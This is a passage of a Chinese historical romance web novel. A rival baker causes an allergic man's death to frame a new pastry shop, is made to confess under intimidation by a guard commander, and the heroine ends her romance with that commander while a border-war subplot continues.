谁能想到“珍果铺”突然横空出世，并且以迅雷不及掩耳之势立刻就受到了广大群众的欢迎。
“谢云瑾”的生意当下就被他们抢了一半。
原本“谢云瑾”的老板谢礼望并未把莫婉晴那几个小丫头放在眼中。
莫婉晴当时在城东集市上摆摊的时候，他就听说那边有个新摊位卖的糕点极其的受欢迎，每天都排了老长的队伍。
他也叫手下的人去慕名卖了一块回来尝尝，口感确实清新爽口，风味独特。
但是他觉得一个小小的摊位，东西做的再好吃，还能翻了天去。
所以他从未将她们视作威胁。
后来听说这几个小丫头居然开了铺子，起初他觉得有些惊讶，更多的还是佩服。
觉得这几个小丫头片子，还挺有能耐，竟然靠着短短几个月的摆摊营生迅速发展到了开店铺。
但此时，他依旧没将这些小姑娘放在眼里。
能耐大又能如何？
开了铺子又能如何？
有了招牌又能如何？
自己可是老字号，但群众里口碑的一流的，他这么大一个百年老铺，还
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能怕她一个区区才开起来的小铺子？
可是他万万没想到，现实的打脸来的居然这么快。
这几个小姑娘能耐大的真的能翻了天去。
这不才开没多久，就把他的客人抢去了大半。
他们都说，“谢云瑾”的糕点太老式了，吃久了也会觉得腻。
“珍果苑”不仅有糕点，还有坐着一边喝茶一边吃，时不时地看看窗外的小桥流水，别有一番风味。
谢礼望气得咬牙切齿。
他想尽了各种办法，依旧没办法挽回局面，没办法将客人从“珍果苑”那便边过来。
气急败坏的他，坐在凉茶店里喝凉茶，想降降自己的火气。
正好听见隔壁桌一个男人问另一个男人：“你最近怎么没什么精神？”
那个男人说：“昨天喝酒，不小心吃了两颗花生，第二天我就全身起疹子，喉咙也肿胀的难受。”
“你原来对花生过敏啊，那你可得当心。”
“下次再也不敢乱吃了。”
这个说自己花生过敏的男子，就是徐娘子的丈夫旺生。
谢礼望听着二人的对话，突然计上心头。
当天他回府就让下人去“珍果苑”买了两块花生酥，第二天再去凉茶店等。
等昨日那位对花生过敏的男子。
终于被他等到了。
他先与旺生攀谈，请他喝酒，等旺生放下戒心，与之相谈甚欢的时候，他再将点心拿出来赠与他。
旺生本就是个没读过书的粗人，又过得十分拮据，平日里请他喝酒的人都很少，更别说是送他吃的了，他自然是欣然收下。
没到家，就拆开来，将糕点吃进了肚子。
谢礼望故意请他喝酒，就是为了让他醉酒意识不清，吃不出花生的味道来。
他原本打算污蔑“珍果苑”的点心让人吃了不舒服即可。
谁想到，旺生居然直接过敏窒息而死。
可人都已经死了，无法挽回，谢礼望也只能将错就错。
他立刻收买了一些徐娘子周围的邻居，让他们去徐娘子耳边吹耳旁风，告诉她她的丈夫就是吃了“珍果苑”的糕点才会死的。
怂恿她去店里闹事。
才会出现这样的局面。
虽然害死旺生，并不出自谢礼望的本意，他也不知道两块花生酥居然就能要了他的命。
但人终归还是死了。
谢礼望毕竟是生意人，对这种还是比较忌讳。
所以他叫人以做善事的名义送了好一些银子给徐娘子。
正是这送银子的举动，引起了陆思云和萧楚翊的怀疑。
自从陆思云和莫婉晴商量了以后，莫婉晴就带着松萝亲自上门送银子给徐娘子，还帮忙一起将旺生好好下葬，入土为安。
徐娘子自从听了萧楚翊和陆思云的一番推断，也自知自己冤枉错了人。
所以对莫婉晴和陆思云的态度也发生了很大的转变。
谢礼望派人来送银子给她这件事，也是陆思云和莫婉晴来看她的时候，她随口说了一嘴。
但就是这不经意间说出来的讯息，却让陆思云觉得有些异常。
她回到六扇门，立刻将此时报告给了萧楚翊。
二人一合计，决定先将谢礼望带回衙门来审问一番。
谢礼望此时正在府里的天井下，躺在躺椅上，悠闲的吃着水果，晒着太阳。
当萧楚翊带着人闯入的时候，他还有些不明就里。
“你们干什么？”
“我们是六扇门的。谢礼望，麻烦你跟我们回衙门一趟。”
71.第 71 章
谢礼望不是没想到官差会找上自己。
但是他却表现的十分笃定，一点都没有畏惧之色。
“听闻你昨日给了徐娘子一大笔银子，这是为何？”萧楚翊问。
“我听闻徐娘子丈夫被害死，善心大发，于是就给她送去了银子，怎么这也触犯律例了吗？”
陆思云看着他信口雌黄，心里十分恼怒。
“你与她非亲非故，为何突然要送这么一大笔钱财给她？难道不是心虚所致？”
谢礼望露出无辜且茫然的表情：“这位官爷您在说什么？我怎么听不懂。整个洛城谁人不知我谢礼望是个大善人，谁有困难我都愿意资助。这有什么问题吗？难道我心地善良也是错了？”
“你！”
陆思云怒不可歇，恨不得上去暴揍他一顿。
萧楚翊不动声色地拉出她，然后冷眼看着对面的谢礼望。
“谢老板，你认识旺生么？”
“不认识，但是我听说他是吃了珍果苑的糕点死的。我也是做糕点的，我清楚糕点的用材是最重要的，万不能有半点大意。你看我做了这么多年的点心，从来没有吃死过人的。”
陆思云冷笑：“谢老板怎么能确定，旺生就一定是吃了珍果苑的糕点死的，而不是被有心之人害死的？”
“这位差爷，您这话是什么意思？难不成你想说是我害死了旺生？”
“我可没这么说。”
谁想谢礼望突然激动了起来：“太可笑了，旺夫吃的可是珍果苑的花生酥，凭什么说是我害死了他？”
陆思云脸上露出得逞的笑容，她盯着谢礼望，缓缓地开口：“谢老板，我可从来没有说过，旺生是吃了珍果苑的花生酥死的，您又是如何知道的？”
谢礼望愣住。
随即他支支吾吾地狡辩：“我是听别人说的，他对花生过敏，他是吃了珍果苑的花生酥窒息而死的，不行吗？”
“旺夫对花生过敏，吃了珍果苑的花生酥引发严重过敏窒息而亡，这些信息六扇门从未对外公布。只有官府的人和……凶手知道此细节。”
谢礼望脸色突然白了三分。
“反正我什么都不知道，你们有什么证据证明我就是凶手？”
确实没有。
人已经死了，没办法告诉大家花生酥是谢礼望给他的。
所以他才会如此有恃无恐。
陆思云咬牙切齿，却拿他一点办法也没有。
谢礼望在衙门里待了没多久，谢礼望的家人便上门来领人人。
谢家在洛城还是有一些名望的，再加上他们出手大方，平日里也没少给衙门里的人小恩小惠。
拿人手短，吃人嘴软。
所以，不到傍晚，谢家人就出了银子把人带回了家。
陆思云看着谢礼望在家人的簇拥下，大摇大摆地走出六扇门，路过她身边的时候，还对她露出一脸得意的神情，她恨得牙痒痒，却又无可奈何。
气了一天，陆思云晚饭都没吃，窝在房间里生闷气。
莫婉晴带着饭菜走进她房间，将饭菜摆在桌子上，然后开始哄她。
“思云妹妹，多少吃点东西。别为了那种无赖，气坏了身子，那多不值当。”
陆思云从床上爬起来，无精打采地坐到桌边。
看着桌上丰盛的菜食，却是半点胃口都没有。
“我就是生气，这世上怎么会有这么厚颜无耻之人。明明是他害死了一个无辜的生命，他不但没有任何悔过之意，反而还在抵死狡辩。实在是可气！”
“姐姐你是没看见他那副有恃无恐嘴脸，知道我们没有证据证明他就是害死旺夫的凶手，知道我们奈何不了他，所以他得意洋洋得很！”
莫婉晴舀了一碗汤，递给她：“妹妹喝碗汤，消消气。”
陆思云接过汤，猛的一口把汤干完。
汤得她龇牙咧嘴。
莫婉晴看她冒冒失失的样子失笑：“慢点儿喝。”
平复了一下情绪，陆思云说道：“现在嫌疑人找到了，可是没有证据没办法定他的罪。一日不能将他绳之以法，姐姐的铺子就一日不能重新开张。这可如何是好？”
“铺子的事妹妹不用担心。我和松萝她们会再想办法。大不了再回去摆摊，我相信天无绝人之路，一定会有办法的。”
“都是我太没用了。”
莫婉晴连忙抓住她的手，宽慰道：“妹妹千万别这么想。能在这么短的时间里锁定犯人，已经不容易了。我相信天网恢恢，他肯定会为他的所作所为付出代价。”
安抚好陆思云，莫婉晴从房间里走出来。
她漫无目的地踱步在院中，突然闻到一股似有似无的药香。
她循着药味来到华天文的房门口，看到华大夫正坐在炉子前煎药。
“师父还没休息呢？”
听见声音，华大夫抬起头，看到她，脸上立刻露出笑容，他站起身：“莫娘子，老夫琢磨了一个新的药方子。想看看熬制出来的效果如何。”
莫婉晴打量了一番华大夫房间前面的布置，他自己搭建了几个架子，专门用来放置各种草药，地上整齐地摆着一些瓶瓶罐罐，上面都写了标签。
“没想到师父这么快就把屋子布置得这么仅仅有条了。”
华大夫被她这么夸赞，有些不好意思：“这还得谢谢莫娘子不仅给我一个容生之所，还让我继续研制草药。”
看得出她心情有些低落，华大夫问：“莫娘子最近可是在为铺子的事烦心？”
“不瞒老师，铺子也不知道什么时候能开，一家老小都要吃饭生活，要说心里没有顾虑，那是在自欺欺人。但是我也不能在姑娘们面前表现出来，怕她们会更加担心。所以只能到您这里来待会儿。”
华大夫一边慢慢摇晃着手中的扇子扇着炉子里的火，一边道：“老夫失去家园之后，一路辗转到此，路上看到了太多因灾祸无家可归、无饭可吃，饿死在路边，那惨状真的无法用语言来形容。老夫现在觉得自己能活着来到皇城，能与莫娘子相遇，是前世修来的福气。经历了这么一遭，我觉得任何困难险阻，都是可以克服的。你看，老夫这么一把年纪了，都能克服生死活下来，我相信莫娘子的危机，一定很快解决的，因为莫娘子行善积德，好福气一定还在后头呢。”
跟自己的师父聊了会儿，莫婉晴觉得自己的心情舒畅了许多。
她突然想起，差不多到时间跟陆琛见面了。
可是当她走到门口，却发现门外空无一人。
莫婉晴在门前张望了片刻，依旧没有见到他的身影。
她看了看天色，确实是到了他们见面的时间。
他却没有出现。
陆琛爽约，这还是第一次。
又等了一会儿，确定他今夜不会出现，莫婉晴带着疑惑，转身缓缓地走进了屋子。
陆琛其实如约而至，但是他看门口没有人，便径自走进了屋。
听到莫婉晴的声音，他便寻声找了过去。
走到门口的时候，他却停下了脚步，因为他听到了莫婉晴与华大夫的对话。
知道她的困境，于是便默默地离开。
回到北镇抚司，他坐立不安，总觉得如果不为她做点什么他会寝食难安。
这样思量着，他便叫来了下属，让他将铺子的事情彻查清楚。
锦衣卫的办事能力，比六扇门快得多。
第二天，陆琛就得到了一份非常全面的书面汇报。
他飞速地看完，然后沉着一张脸，吩咐道：“将谢礼望
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抓来诏狱。”
“是。”
很快，谢礼望从六扇门出来，又迅速被抓来了诏狱。
进了诏狱，待遇就不会像在六扇门那般客气。
一上来，谢礼望就被五花大绑在铜柱上，周围都是刑具。
这仗势，一向养尊处优惯了的谢礼望哪里见过，立刻吓得鬼哭狼嚎。
“救命啊！放我出去！”
陆琛一身飞鱼服，手握绣春刀，缓缓从门外走进来。
原本审这么一个普通的老百姓，根本用不到他这位锦衣卫指挥使亲自出马。
可涉及到莫婉晴，他便不放心将这等小事交给别人。
“你可知，进了诏狱，想要出去，就得掉一层皮？”
谢礼望全身发抖，额头上冷汗直冒：“我到底犯了什么罪，要你们锦衣卫亲自出马？”
陆琛坐在椅子上，随意地摆弄着旁边的器具，谢礼望看着他的动作，脸上的恐惧之色越来越深，就怕他拿起什么东西就往自己身上招呼。
“旺生的死，你招还是不招？”
“我……我……”
陆琛没了耐心，他一记冷眼射过来，谢礼望吓得一个激灵，立即点头：“我招，我招，我全都招！求求大人，求求你不要杀我！”
陆琛向旁边的人使了个眼色，立刻就有人拿出纸和笔，坐在旁边，等着记录谢礼望的口供。
等谢礼望一把鼻涕一把眼泪地将事情交代完，一名锦衣卫，将供词拿到他被绑的右手边，然后抽出腰中的佩剑，毫不犹豫地就将他的大拇指划了一道口子。
谢礼望还没来得及失声痛叫，对方边就着他拇指上流出来的鲜血，在供词上按下了手印画了押。
陆琛拿到供词后，看了一眼，然后便头也不回地离开了诏狱。
只留谢礼望在诏狱中大吼大叫，像一个失心了的疯子一般。
莫婉晴并不知道陆琛在背后做了这么多，当她接到官府的通知，说是可以重新开张的时候，几个姑娘开心得手舞足蹈。
她特别期待晚上和陆琛的见面，想快点将这个好消息告诉他听。
可是一连几天，陆琛都没有来宅子门口赴约。
这就让莫婉晴心中有些担忧。
如果只是一两回失约，也许是有要事耽搁了，她不会觉得有什么异常。
可以一连几天都没有出现，这就让莫婉晴觉得有些不对劲了。
她来到北镇抚司门口找陆琛。
门口当值的人却说，陆大人已经好几天没来了。
一个好好的人怎么会突然消失呢？
莫婉晴心中焦躁不安。
她失魂落魄地往家的方向走去。
却在半路上遇到同样放衙回家的陆思云。
“姐姐？这个点你怎么在这里？铺子呢？”
见了她，莫婉晴仿佛是遇到了救星。
她连忙一把拉住陆思云的手臂，语气焦急地说：“妹妹，陆琛不见了。这几日晚上他都没有如约来门口见我。我方才去北镇抚司找他，门口的人说他好几天没来了。他到底发生什么事了？为什么突然不见了！”
让莫婉晴没想到的是，陆思云听了她的话，脸上不但没有意外的表情，甚至还有了些许哀伤。
她断定陆思云一定知道什么。
聪明如她，立刻便想到了关键：“是不是跟铺子解封有关？他是不是做了什么？”
陆思云咬牙不语。
莫婉晴急了：“妹妹，求求你，你快告诉我，陆琛到底发生了什么事！”
“他将谢礼望抓去了诏狱，逼他认罪。谢礼望的家人将他告到了御史台。皇上震怒，治了他一个滥用职权的罪名，杖三十。现在陆大人应该在府中养伤。”
“你说什么！？”
72.第 72 章
莫婉晴一听到陆琛受伤了，顿时慌乱的有些六神无主。
她连陆思云都顾不上了，转身就往陆琛的府邸奔去。
莫婉晴来到陆宅，王管家看到她，并没有露出任何意外之色，而是面无表情地将她引到了陆琛的寝室门口，便自行离开。
她站在门外，平复了一下自己的情绪，然后推门而入。
趴在床上的陆琛并没有看向门口，而是闷闷地说了句：“老王，给我倒点水。”
莫婉晴看到他赤/裸着上半身趴在床上，背上的伤口鲜血淋漓，顿时眼泪忍不住从眼角流下。
她走到桌边，倒了一杯水，然后端到他床前。
像是有心灵感应一般，陆琛似乎察觉到进来的并不是王管家，他猛的转过头，看到了日思夜想的人，心里突然也就踏实了。
只是此时的自己如此狼狈，他反倒是有些不好意思。
挣扎着想要坐起身，可刚一动，便牵扯到了伤口。
“嘶……”
莫婉晴连忙跑过去扶着他重新趴下：“你快趴好。”
陆琛便只能又不甘愿地重新趴回了床上。
“你怎么来了？”
莫婉晴并没有回答他，而是双目噙着泪，有些埋怨地看着他。
面对她的无声指责，陆琛立刻就败下阵来，他忙伸出手去握住她的，柔声道：“我没事，真的。我皮糙肉厚，过几天就好了。”
可是莫婉晴却没有被他安慰到半分，依旧忍不住地落泪。
看到自己心爱的人，为了自己受到这样的伤害，她的内心有多痛，只有她自己知道。
她一直都觉得自己有能力带大家赚钱，努力撑起这个家，她也一直为了这个家，为了家人能更好的生活而努力奋斗着。
但是如今才发现，自己真的一点用都没有。
出了事，一点忙都没帮上不说，还连累自己最重要的人受到责难。
她这么了解他，又怎么会不知道，他做得这一切都是为了她。
如果不是为了她，陆琛根本不用管这种根本不属于锦衣卫管辖范围之内的事情。
他终究是被自己牵连了。
陆琛看她这幅样子，知道她肯定是看到自己受伤，又心疼又自责。
可他嘴笨，不会哄女子，只能一遍遍地强调：“我真的没事，你不用担心。”
莫婉晴擦干眼泪，拿起旁边的水，用勺子一口一口地喂陆琛喝下。
然后才责问道：“我不是让你不要插手此事，你为何还要这样做？”
那个谢礼望，一看就不是善类。
就算是锦衣卫，让他受了这等羞辱，又岂能善罢甘休。
幸好陆琛只是随意吓唬了他两下，并没有对他用刑，他无法用“屈打成招”这个借口来推翻他之前的口供，萧楚翊和陆思云这才对他依法处理，将其店铺查封，将事情的真相公之于众，还了珍果苑的清白。
不然，陆琛这个罪名，怕是更重，受的责罚也还要比这严重的多。
“我那天去找你，无意间听到你和华大夫的对话，知道你为此事困扰，我只是想帮你分担，”
莫婉晴听了他的话，却并没有半分欣喜，反而让她心生恐惧。
曾经的陆琛，忠于陛下，甘愿做皇上的一把刀，他冷血无情，不在乎人家叫他就活阎王。
也正是他的这份忠心与冷漠，才能受到皇上的青睐和信任。
可如今这把刀，因为她而产生了情感，变得柔软，变得有了牵绊，有了软肋。
这样对他来说，是一件好事吗？
锦衣卫是何等的存在，自不必说。
诚如他之前所说，他一直过的是刀口舔血的生活，他的世界向来只有刀光剑影，没有儿女情长。
这样的感情，只会牵绊住他的脚步，成为他的累赘。
莫婉晴突然害怕了。
她害怕自己成为陆琛的软肋，成为他的累赘。
这次他为了自己受到皇上的责罚，下次他是不是会为了她而丢了性命？
想到此处，心底的那丝恐惧仿佛张开了它的血盆大口，似是要将她吞噬。
察觉到她脸色苍白，指尖微颤，陆琛有些担心地抬着脖子看向她：“你怎么了？还在担心我的伤势么？大夫已经来看过了，都是皮外伤，过几天就能完全恢复。”
莫婉晴这回过神来，她对着陆琛露出一个苍白且无力地笑：“我没事。我先走了，你好好照顾自己。”
陆琛还未反应过来之际，她便转身离开了屋子。
只留下他一人趴在床上，若有所思。
莫婉晴失魂落魄地回到家，陆思云正坐在院中等她。
见她回来，立刻迎上去询问：“姐姐，陆大人伤势如何？”
可是莫婉晴却毫无反应。
“姐姐？”
陆思云又唤了她一声。
她这才有了反应，等她看清楚眼前的人是谁后，莫婉晴突然扑进陆思云的怀中，失声痛哭了起来。
陆思云下意识地抱住怀中的人，面对她的情绪失控有些茫然，她以为是莫婉晴担心陆琛的伤势，才会如此。
于是她拍着莫婉晴的后背，宽慰道：“皇上只是略施小惩，对陆大人并无太大影响，姐姐无须太过担心。”
等莫婉晴稳定住自己的情绪，两人坐在院子中的石凳上谈心。
莫婉晴看着天空中的一轮明月，问：“妹妹可想晏初？”
一说到他，陆思云便忍不住红了眼眶，她哑声道：“每天都想。”
“前段时间，我与陆琛走得近，没有考虑到妹妹的心情，我现在觉得很是愧疚。”
“姐姐你别这么说，不能因为我的感情停滞不前，就非得要姐姐陪我一起煎熬。我可不是这么小心眼的人。姐姐能遇到良人，收获自己的幸福，我自然也是为姐姐感到高兴的。”
听到“良人”这个词，莫婉晴沉默了下来，她垂眸酝酿了一会儿，才开口：“我现在也不确定，陆琛到底是不是我的那位‘良人’。也许我们一开始就是错的。”
陆思云瞪大了眼睛：“姐姐为何突然这样想？是因为最近发生的这件事吗？”
“我也是通过这件事才意识到，像陆琛那样的人，他作为锦衣卫指挥使，就应该像人们说的那样冷血无情，杀人如麻，宛如阎罗王。可是这个阎罗王因为我，而变成得不再坚硬，甚至没了棱角，这样对他真的好吗？我也许在无形中，成了他的阻碍，他的绊脚石。原本我们就是两个不同世界
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的人，也许我们根本不应该有交集。”
“姐姐……”
“对不起，我今晚有点心烦意乱。但我真的，打算重新考虑我和陆琛的关系，是否需要继续下去。”
“姐姐，你有没有想过，也许陆大人他并不想做这个阎罗王，他毕竟是个有血有肉，活生生的人啊！也许正是因为遇到了姐姐，才能让他原本冰冷的心重新感受到温暖。你和陆大人的事，我没有资格插手，但是我希望姐姐不要冲动行事。”
莫婉晴听了她的话，却没再多说什么。
回到房间，她独自坐在床边，发呆到天明。
陆琛伤好了以后，第一时间就去找莫婉晴，却吃了一个闭门羹。
他站在宅子门口，看着紧闭的大门，愣了神。
一连好几天，陆琛按照约定的时间来到门口，等着他的依旧只有紧闭的大门和空无一人的门口。
他这才确定，莫婉晴是故意不出来与他见面。
他不明白为何突然如此。
难道自己擅自做主管了她的事，让她生气了？
陆琛并不是一个喜欢胡思乱想的人。
既然莫婉晴闭门不见，他便自己找上门去，问个究竟。
莫婉晴在铺子里见到陆琛的时候，脸上并没有惊讶的神情。
她清楚，以陆琛的性格，不要到他想要的答案，他是不会善罢甘休。
“我们出去说。”
吩咐完店里琐事，她便径直走了出去。
陆琛沉着脸跟在她的身后。
两人来到河边，莫婉晴看着眼前的河流沉默不语。
还是陆琛最先沉不住气，开口询问，但语气依旧温柔至极：“这几天晚上，我去找你，你怎么都没有出来？”
莫婉晴垂眸，良久才开口：“陆大人，我们以后不要再见面了。”
陆琛瞳孔微缩：“为什么？”
“我想了一夜，我觉得我们不合适。”
“是因为我插手了你铺子的事，所以你生气了？”
那也不至于要跟他结束关系这么严重。
陆琛有些想不明白。
莫婉晴却摇了摇头：“有了陆大人的帮助，铺子才能重新开张，这件事我真心诚意地向陆大人表示感谢。”
说完，她向陆琛行礼致谢。
她突然这么疏离，这般生分，让陆琛觉得很陌生。
“那为什么突然说不再见面？”
“陆大人身为锦衣卫，身上有使命和责任。我如今只是一个商人，不想拖累了大人。”
“这就是你的理由？”
陆琛不敢相信，她居然用这样一个冠冕堂皇的理由来结束他们的关系。
可是自始至终，从铺子里出来到河边，再到她说出这番话，莫婉晴都没有抬头看向他的眼睛。
“婉晴，我要你抬头看着我说。”
莫婉晴终于将头抬起，直视他的目光，然后开口：“陆大人，我希望我们到此为止。以后我们大路朝天各走一边，不要再有任何瓜葛。我会尽快找新的住处，从你的宅子里搬走。这段时间，多谢陆大人的照拂，婉晴铭记于心。如果今后陆大人有什么需要用得到婉晴的地方，我义不容辞。只是你我，只能止步于此。”
73.第 73 章
“你我，只能止步于此。”
陆琛后腿了一小步，他眼眶发红，死死地盯着莫婉晴。
看出了她眼中的坚定，知道她是铁了心要跟自己分开。
“你已经做好决定，却从没有想过我是如何想的，对么？”
莫婉晴咬唇：“是，无论你如何想，我的决定都不会改变。”
陆琛露出一抹惨淡的笑：“既然你已经决定了，我还有什么好说的。”
他失魂落魄地转过身离开。
莫婉晴看着他离开的背影，心如刀割。
可她最终也只能站在原地，眼睁睁地看着他心情低落地离开，什么也做不了。
陆琛走后，莫婉晴坐在河边发呆。
她回想起他们的第一次见面，华县发生的点点滴滴，落难后的不离不弃……
原来，他们已经拥有了这么多的回忆。
莫婉晴看着波光粼粼的湖面由亮转暗，沉浸在自己的回忆中，忘记了时间。
陆思云放衙后，跟往常一样来到铺子里帮忙。
看到一脸焦虑的碧水，便好奇地问她：“碧水，你怎么了？怎么慌慌张张的？”
碧水看到她，连忙说道：“二夫人，你可算回来了。方才陆大人来铺子里找我们家夫人，两个人一起出去了。夫人到现在都没回来，这天都黑了，你说她会不会出什么事呀？”
听到陆琛来铺子里找莫婉晴，陆思云又联想到昨天晚上与莫婉晴的对话，她心中顿时产生了不好的预感。
“他们朝着哪个方向去的？”
碧水连忙用手指了指河边的方向。
陆思云立刻朝着碧水指的方向寻了过去。
并没有花很大的功夫，陆思云便在河边找到了莫婉晴。
原本她和陆琛也并未走远，与他谈完之后，莫婉晴就呆在原地，所以陆思云一下子就找着了人。
看到莫婉晴一个人坐在河边发呆，陆思云已经猜到发生了什么事。
她知道莫婉晴的顾虑，只是没想到她竟然真的狠下心来与陆琛分开。
陆思云慢慢地走向她，轻轻地碰触她的肩膀，低声唤了声：“姐姐。”
莫婉晴这才如梦初醒，她看了看周围黑漆漆的夜色，恍然道：“原来已经这么晚了。抱歉，我们回铺里吧。”
但是陆思云却还是有些担心她：“姐姐，你还好吗？你和陆大人……”
“我和陆大人，已经分开了。”
果然如此。
陆思云为她惋惜道：“莫姐姐，你这是何苦呢？你和陆大人两情相悦，只要二人同心，有什么困难不能一起解决呢？”
“我与他确实是两情相悦，但是我却不愿意他为了我改变，不愿意成为他的绊脚石。大概还是我太软弱了，我没有办法去赌未来的那个未知之数。上一世，我就是太不顾一切，为爱冲昏了头脑。可是到头来，我却换来的是客死异乡的结局。现在回头想想，我的这个结局就是霍正义一手造成的么？其实也并不完全是这样。”
“我们都太年轻，太冲动。私奔听上去似乎是为了不顾一切，很浪漫的事，但它终究被现实所打败。他也努力过，想与我好好生活，可是我们错就错在，把活下去想的太简单，太理所当然。只因我们从小出生在官宦之家，从不知道这人间疾苦。所以我们全都付出了惨痛的代价。”
“这一世，我依旧害怕如上一世那般，重蹈覆辙。如果我再为了陆琛义无反顾，一定要在一起，如有一天他因我而死，或是我因他死亡。我不知道上天还是否会给我第二次重生的机会。”
“归根结底，还是我怯懦了，我不想赌了。我害怕失去他，我也害怕失去我自己。如果结局注定是这样，倒不如一开始就不要拥有。”
“莫姐姐……”
陆思云不知道该如何劝导她。
上一世的遭遇始终像个烙印刻在她的骨髓里，无论她说再多的话劝她，都不会让这个烙印消失。
能说服她的只有她自己。
莫婉晴也不想继续这个话题，“好了，我们回铺子，准备打烊吧。”
回到店铺里，碧水一通埋怨：“我的好夫人，你去哪儿了，这么晚才回来，我担心极了。”
“陆大人找我谈点事，耽误了一点时间。”
莫婉晴表面上还是对姑娘们笑呵呵的，但只有陆思云清楚她的心里现在有多么难过。
她只不过是在强撑罢了。
回到宅子内，陆思云左思右想，还是不放心她，于是又走去莫婉晴的房间里找她。
见了她，莫婉晴立刻招呼道：“妹妹来得正好，我正好有事想找妹妹商量。”
“何事？”
“我想找处新的宅子，然后从这个家里搬出去，妹妹以为如何？”
“姐姐这么做，是因为陆大人的关系么？”
莫婉晴毫不避讳地点头。
“以前我与他……所以可以心安理得地住在他的旧宅里。如今我同他已经说清楚，再住着他的屋子，就有些不合适。”
陆思云觉得她说得在理，只是……
“姐姐真的决定好跟陆大人分开了么？也许陆大人与霍家公子不同，能给姐姐一个幸福的结局呢？”
“我已经决定了，妹妹不用再劝我。”
“既然姐姐已经决定好了，那妹妹尊重姐姐，不再多言。等晏初平安从边境回来，我们三人还是可以像从前一样生活。”
莫婉晴听了，笑着说道：“妹妹的心意，我心领了。只不过如今我与晏初已经和离，我已没有资格再住在宋府，还望妹妹可以给我这最后体面。”
陆思云愣住。
她确实并未多想。
她原本以为，倘若莫婉晴和陆琛修得正果，自然是嫁给陆琛做陆家的女主人。
就算她们不住在一个屋檐下，平日里经常串门就是，不会影响了彼此的感情。
如今莫婉晴和陆琛分开，她又与宋晏初和离，便无处可去。
按照莫婉晴要强的性格，她也断不会回自己的娘家，再回去当内阁大学士千金。
所以她便自以为地，认为以后她依旧可以留在宋府跟他们一起生活，宋晏初也一定会愿意收留她的。
但是这终究不过是陆思云的一厢情愿罢了。
她并没有从莫婉晴的角度考虑。
一个和离的女人，又如何在原来的夫家生活，她又要如何自处。
羞愧之感从心底油然而生。
“姐姐恕罪，是妹妹欠考虑了。”
莫婉晴却并不介怀：“妹妹言重了，我知道妹妹是好心才这样说，谢谢妹妹心里惦记着我，我很高兴。”
“那等一切平定下来之后，姐姐要何去何从？”
“我打算和师父着手准备开医馆的事。到时候，我便和师父住在医馆里。”
陆思云点点头。
行医是莫婉晴的梦想，她一直都知晓。
“如果有用的到我的地方，姐姐可千万别客气。”
莫婉晴笑着握住她的手：“那是自然。”
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大宣国边境苗南
由于上次宋晏初烧了
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北国驻扎在河对面的军营中的粮草之后，战事暂时得到了缓和。
利用这段休整期，宋晏初加固了军中的防线，重新整编了军队，加强了每日的操练，为即将展开的大战做准备。
夜深时分，宋晏初独自呆在营帐里看着地图，琢磨着布防和战略。
突然，帐篷外传来东西摔倒的声音，在这寂静的夜晚显得尤为响亮。
“怎么回事？”被打算思路的宋晏初皱纹质问道。
营帐外传来一个稚嫩的少年声：“对、对不起将军，我本来想给您送点吃食，不小心摔了一跤，东西打翻了。我现在重新去拿一份。”
“站住！”宋晏初一听就知道是仕尔多那个孩子，军营里也只有这个孩子才会这么冒冒失失。
仕尔多做他的随从已经有段时日了，却总是出现各种各样的状况。
要么是摔跤了，要么是打翻东西，要么就是帮他整理军务的时候总是错误百出。
但是对此，宋晏初并不恼怒。
对一个半大的孩子，谁又会真的与他较真呢？
不止是宋晏初，军营里的其他将士都很宠溺这个老幺。
哪怕他是北国人，甚至曾做过奸细。
但一旦与他相处了，便能知道，仕尔多是一个纯真善良的孩子。
他的心中并没有成年人的尔虞我诈，家国仇恨。
他是被迫参的军，稀里糊涂来这里做了奸细，他一直以为自己只要完成了这次任务，就能回家与亲人团聚。
正因为他的单纯美好，在这不是你死就是我活的地方，显得尤为珍贵。
大家在他的身上仿佛看到了曾经年少的自己，仿佛看到了未来自己的孩子的模样。
所以，大家都很喜欢仕尔多。
空闲之余最大的乐趣，就是逗小孩儿。
其中以云青最为频繁。
毕竟如他们俩如今都作为宋晏初的随从，交集最多。
仕尔多经常被云青逗得满脸通红，追着他一阵乱打，但就是一点都占不到便宜。
被宋晏初叫住，仕尔多一脸茫然地看着他：“宋将军，您还有何吩咐？”
“把东西捡起来，端进来。”
少年犹豫：“可是，东西掉在地上都脏了。”
“无妨，不碍事。军粮本就珍贵，岂能因为掉在地上就将它扔了，未免也太过浪费。我作为主将，应该以身作则，拿进来。”
“是。”
宋晏初将地图收好，看着他将干粮端进来，然后给他倒了一杯水，然后乖巧地站在一旁，等待下一步指示。
宋晏初一边啃着干粮，余光看到少年正在偷看他盘中的饼，舔着舌头。
“想吃？”
仕尔多诚实地点点头。
他正在长个儿，每天分配给他的食物根本就不够他吃，经常饿肚子。
宋晏初将盘中的饼递给他。
仕尔多愣了愣，没敢接。
“吃吧，我一个就够了，吃多了我积食，肚子会不舒服。”
宋晏初哄骗着他。
少年单纯，果然相信了。
他开心地一把结果宋晏初手中的饼，狼吞虎咽地吃了起来。
看着仕尔多，宋晏初嘴角含笑。
突然有些想念远在皇城的陆思云。
不知道她在洛城是否一切安好。
不知他的家书是否已经收到。
不知她和婉晴是否已经为即将开始的战争提前做好准备。
只有家人平安，他才能没有后顾之忧地投入到战场之中。
74.第 74 章
仕尔多啃完了饼，发现宋晏初正看着他出神。
他将嘴巴里的东西咽了下去，有些局促地问：“将军在想什么？”
宋晏初也不隐瞒，直言：“我在想我的家人。”
听到“家人”二字，少年低下头，脸上掩盖不住失落的神情。
“你想你的亲人么？”
仕尔多毫不犹豫地点头：“想，每天都在想。想念我的阿母，想念我的阿姊，想念我家的大汪。”
“大汪？”
“大汪是我家养的小狗。我离开之前它才刚学会走路，现在大概已经会走会跳了。”
说到自己的小狗，少年的脸上洋溢着笑容，笑容里又带着些许失落。
他是真的想家了，想亲人了。
宋晏初伸手摸了摸他的一头乱发，发质坚硬得有些扎手。
“相信我，我一定会送你回你的家乡与你家人团聚。”
仕尔多崇拜地看着他，满脸信任地用力点点头。
云青站在营帐之外，听着帐内两个人的谈话，抬头看着天空。
今晚的星星特别多，挂在天上一闪一闪，像无数只眼睛正在一眨一眨。
明天，大概会是个好天气吧。
——————
莫婉晴说打算开一家医馆，便立刻雷厉风行地开始筹划起来。
很快，她便物色好了开医馆的地方，跟华天文一起，在姑娘们的帮助下，花了好些时间，将医馆布置完成。
医馆开在城中的位置，方便洛城四面八方的百姓都能过来看病。
屋子是四合院的模样，中间是一个小花园。
